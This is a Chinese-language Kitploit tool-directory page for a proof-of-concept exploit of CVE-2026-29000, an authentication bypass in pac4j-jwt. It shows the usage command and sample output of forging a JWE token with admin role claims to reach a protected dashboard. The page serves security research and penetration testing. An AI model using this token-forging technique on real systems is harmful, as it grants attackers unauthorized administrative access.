Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-29000---pac4j-jwt-Authentication-Bypass-PoC — CVE-2026-29000 的概念验证漏洞利用程序，针对 pac4j-jwt 中的身份验证绕过漏洞。通过伪造 JWT 令牌来获取受保护端点的管理员访问权限。 | Kitploit
工具/GitHubGitHub/manbahadurthapa1248/cve-2026-29000---pac4j-jwt-authentication-bypass-poc
身份验证与授权漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubmanbahadurthapa1248/cve-2026-29000---pac4j-jwt-authentication-bypass-poc

CVE-2026-29000---pac4j-jwt-Authentication-Bypass-PoC

CVE-2026-29000 的概念验证漏洞利用程序，针对 pac4j-jwt 中的身份验证绕过漏洞。通过伪造 JWT 令牌来获取受保护端点的管理员访问权限。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
15个月前尚未审核

CVE-2026-29000 - pac4j-jwt 认证绕过 PoC

注意：这不是我的原创作品。我将其保留在此处作为参考。

工作方法：

root@kitploit:~
python3 exploit.py http://IP:PORT

[*] 获取 JWKS...
[+] 获取 RSA 公钥 (kid: enc-key-1)
[*] 构造 sub=admin, role=ROLE_ADMIN 的 PlainJWT
[+] 伪造 JWE 令牌创建成功

[*] 访问 /api/dashboard...
[+] 状态: 200
[+] 认证身份: admin (ROLE_ADMIN)
[+] 令牌: eyJhbGciOiAiUlN_.....[已编辑].....D4zwSEY05lFkCB.J933HR-irY6a0r2uivRLZw
下载工具